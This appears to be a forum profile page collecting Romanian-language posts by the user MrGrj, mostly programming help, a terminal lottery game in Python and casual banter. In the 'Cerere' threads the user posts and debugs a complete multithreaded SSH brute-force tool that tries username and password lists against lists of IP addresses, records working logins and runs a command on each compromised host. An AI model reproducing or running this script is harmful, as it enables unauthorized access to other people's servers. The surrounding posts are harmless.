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MrGrj

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Posts posted by MrGrj

  1. Ajutor in programare.

    in Programare

    Posted · Edited by MrGrj

    Cadou de Craciun :) 

      

    import random
import sys
import time


# generate numbers from 1 to 30 mapped to red color
NUMBERS = {number: 'red' for number in list(range(1, 31))}


class Colors:
    """
    ANSI color codes.
    """
    # RED is used for all the numbers
    RED = '\033[91m'

    # GREEN is used for displaying computer's random
    # chosen number
    GREEN = '\033[92m'

    # BLUE is used for displaying user's chosen
    # number
    BLUE = '\033[94m'

    END = '\033[0m'


def assign_color_to_number(number, color):
    """
    Show ANSI colors in terminal for nicer UX.
    """
    
    if color == 'red':
        return f'{Colors.RED}{number}{Colors.END}'
    elif color == 'green':
        return f'{Colors.GREEN}{number}{Colors.END}'
    elif color == 'blue':
        return f'{Colors.BLUE}{number}{Colors.END}'
    else:
        return number


def print_table(numbers):
    """
    Print a nice table with colorful numbers wrapped at 5.
    """

    print('\n')
    for number, color in numbers.items():
        number = assign_color_to_number(number, color).ljust(12)
        if number % 5 != 0:
            print(number, end=' ')
        else:
            print(number)
    print('\n')


def countdown(seconds, user_number):
    """
    Let user know how much until the next game.

    Arguments:
        seconds (int): How many seconds until next game.
        user_number (int): User's lucky & chosen number.
    """

    print(f"You chose {user_number}. GOOD LUCK!\n\n")

    for second in range(seconds, -1, -1):
        sys.stdout.write(
            f"\r{second} seconds remaining until one number will change its color to green."
        )
        time.sleep(1)
        sys.stdout.flush()

    print('\n')


def get_user_number():
    """
    Sanitize user's input.
    """

    while True:
        try:
            value = int(input('Please choose a number between 1 and 30: '))
            if 30 < value < 1:
                print("Please insert a number between 1 and 30!\n")
                continue
            return value
        except ValueError:
            print("Please insert a number between 1 and 30!\n")
            continue


def play():
    print_table(NUMBERS)

    user_number = get_user_number()
    countdown(5, user_number)

    random_number = random.randint(1, 30)

    if user_number != random_number:
        NUMBERS.update({random_number: 'green', user_number: 'blue'})
        print_table(NUMBERS)
        print(
            f'You did not guess the number. Our number was: {random_number} '
            f'and yours was: {user_number}.\n\nGOOD LUCK NEXT TIME'
        )
    else:
        print(
            'You guessed it! Congrats! Please fill in the information '
            'below in order to receive your prize.\n\n'
        )

        name = input('Your name: ')
        age = input('Your age: ')
        email = input('Your email: ')

        print(f'Name: {name}\nAge: {age}\nEmail:{email}')

    # reset our numbers
    NUMBERS.update({random_number: 'red', user_number: 'red'})


def main():
    print('\nWELCOME TO LOTTERY!')

    while True:
        play()
        answer = input('Play again? [Y]es/[N]o: ')

        if answer.lower() == 'n':
            break

    print('\nTHANKS FOR PLAYING!')

    
if __name__ == '__main__':
    main()

     

    Aici ai si link cu codu' si poti sa ii dai un Run de test. Am pus si niste comment-uri in caz ca vrei sa intelegi ce se intampla, desi ma indoiesc.

     

    PS: Codu' e scris destul de repede but it does it job chiar daca nu e perfect organizat.

     

    Enjoy :) 

    • Upvote 1

  2. Ajutor in programare.

    in Programare

    Posted

    Salut,

     

    Io n-am inteles nimic din ceea ce vrei.

     

    - Care numere sunt verzi si care sunt rosii? 

    - Sunt doua seturi de 30 de numere, un set fiind rosu si altul fiind verde?

    - Cum determini cand un numar e disponibil?

    - De unde au aparut campurile alea? Sunt prin Baragan?

    - Etc.

     

    Mersi

  3. caut programator liber

    in Programare

    Posted

    Hai sa iti explic putin cum sta treaba daca vrei sa gasesti pe cineva:

     

    1. Descrie asa cum trebuie proiectul.

    1.1 Ce fel de interfata? Web / Desktop / Command Line?

    1.2 Cum arata excel-ul respectiv? Sunt mai multe sheets? E foarte mare fisierul?

    1.3 Cum ai vrea sa arate "interfata" respectiva?

    1.4 Ce legatura au PDF-ul si WORD-ul cu excelul?

     

    2. Ce suma oferi pentru cele de mai sus?

    2.1 Oferi un avans?

    2.2 Garantezi ca vei plati developerul care iti va face acest proiect?

    2.3 Daca garantezi, cum o faci?

    2.4 Cum vei face plata?

     

    Daca oferi aceste detalii iti garantez ca se vor gasi oameni care te vor ajuta. Poate chiar si gratis, pentru portofoliu, daca e ceva rapid :) 

    • Like 1
    • Thanks 1
    • Upvote 3

  8. Cea mai buna certificare/specializare?

    in Discutii incepatori

    Posted · Edited by MrGrj

    Si uite asa mai adaugam un putzache cu mentalitate de "sa fie usor, ceva simplu si flexibil + sa curga banii" in industria IT. Vreti sa fiti manageri sau sa invatati programare "the easy way" insa nu sunteti in stare sa va informati din mii de surse, articole sau carti.  

     

    /pacat

    • Upvote 3

  12. macOS, Windows 10 and Ubuntu Hacked at Pwn2Own 2020

    in Stiri securitate

    Posted

    4 hours ago, Nytro said:

    Da, probabil nu ii intereseaza banii din moment ce merg acolo...

    Eu sunt curios ce fac acele firme: au acei 2-3 angajati care fac tot anul research si exploit development, probabil. Si cum fac profit? Acei "bani" sunt frectie, mai ales ca salarii decente in US pleaca de la 150.000$ pe an. 

    Inteleg ca e OK ca marketing, dar nu inteleg complet business-case-ul lor. 

    Cel mai probabil sun finantate si sponsorizate de acele firme ca sa gaseasca alea. :D 

  17. Rezolvarea unui program la tema ”Structuri dinamice de date”

    in Programare

    Posted

    Hai ca incerc eu. Din moment ce n-ai mentionat limbaju', o sa aleg Brainfuck:

      

    ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++.++.---------.+++++.++++++.<<++++++++++.------.>+++++++.>-------------------.+++++++++++++++++.+.<<--.>>.----------.<<.>>---.-----.<<+++++++++++++.>>+++++++++++++++++++.-----------.<<-------------.>>+++++++++++.---------------.++++++++.--------.+++++++.-------.<<.>>++++++++++++++.----------.+++++.-------.++++++++++++++.---.<<.>>---------------.--.<<.>>+++.---.++.--.<<.>>+++++++++++++.+++++++.<<.>>+.-----------------.++++.<<.>>++++.++++++++.---.---------.<<.>>+++++++.++.---.++++.+.<<++++++++++++++.--------------.>++++++++++++++++++.>++++++++.<.<.>------------------.>-------.------------.----.<<++.+++++++.

     

    • Confused 1

  19. Botii

    in Programare

    Posted

    24 minutes ago, BiosHell said:

    Formulat corect : Hello, am o si eu o întrebare , se POT adauga mai multe proxyuri unui program ?

    Formulat si mai corect:

    Hello, am si eu o intrebare idioata: Se pot adauga mai multe proxy-uri intr-un program?

     

    :)) Peace 

     

     

    • Haha 1

  24. Cerere

    in Discutii incepatori

    Posted

    On 2/16/2019 at 8:55 PM, kmkozeu said:

    File "t.py", line 24, in kraken
        dbg = str(sys.argv[4])

    Trebuie sa mai pui un argument la sfarsitul comenzii:

      

    python t.py 500 ips pass bad
# adauga asta            ^^^

     

    On 2/16/2019 at 8:55 PM, kmkozeu said:

    No handlers could be found for logger "paramiko.transport"

    Trebuie sa adaugi asta: 

    paramiko.util.log_to_file("filename.log")

     

  25. Cerere

    in Discutii incepatori

    Posted 

    import Queue
import paramiko
import sys
import threading


class SSHBrute(threading.Thread):
    def __init__(self, queue):
        threading.Thread.__init__(self)
        self.queue = queue

    def run(self):
        while True:
            ip, user, passwd = self.queue.get()
            self.kraken(ip, user, passwd)
            self.queue.task_done()

    def kraken(self, ip, user, passwd):
        cracked = []
        bad = open('bad.txt', 'w')
        val = open('valid.txt', 'a')
        nologs = open('nologins.txt', 'a')
        raw = open('raw.txt', 'a')
        dbg = str(sys.argv[4])

        try:
            if ip in cracked:
                return False

            if '%user%' in str(passwd):
                passwd = '{}{}{}'.format(passwd.split("%")[0], user, passwd.split("%")[2])

            if '%User%' in str(passwd):
                pwd = '{}{}'.format(user, passwd.split("%")[2])
                passwd = '{}{}'.format(passwd.split("%")[0], pwd.title())

            if str(passwd) == '%null%':
                passwd = ''

            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            ssh.connect(ip, username=user, password=passwd, timeout=35)
            raw.write(ip + ' ' + user + ' ' + passwd + '\n')
            raw.flush()
            chan = ssh.get_transport().open_session()
            chan.settimeout(35)
            chan.exec_command('uname -a')
            data = chan.recv(1024)

            if len(data) == 0:
                nologs.write('{} {} {}\n'.format(ip, user, passwd))
                nologs.flush()
                return False

            val.write('{} {} {}|{}\n'.format(ip, user, passwd, data.rstrip()))
            val.flush()
            cracked.append(ip)
            chan.close()
            ssh.close()

            return True
        except Exception as e:
            if 'uthent' in str(e):
                if dbg == 'bad':
                    bad.write(ip + '\n')
                    bad.flush()
                ssh.close()
                return False
            ssh.close()
            return False


def brutemain():
    if len(sys.argv) < 2:
        return False

    ThreadNR = int(sys.argv[1])
    queue = Queue.Queue(maxsize=20000)
    try:
        i = 0

        for i in range(ThreadNR):
            t = SSHBrute(queue)
            t.daemon = True
            t.start()
            i += 1
    except Exception as e:
        print('Cant start more than {} threads because: {}.'.format(i, e))

    with open(str(sys.argv[2]), 'rU') as ipf:
        ips = ipf.read().splitlines()
    with open(str(sys.argv[3]), 'rU') as uf:
        users_and_passwds = uf.read().splitlines()

    try:
        for user_and_pass in users_and_passwds:
            for ip in ips:
                queue.put((ip, user_and_pass.split(':')[0].strip(), user_and_pass.split(':')[1].strip()))
    except Exception as e:
        print('Exception raised: {}'.format(e))
        pass

    queue.join()


if __name__ == "__main__":
    brutemain()

     

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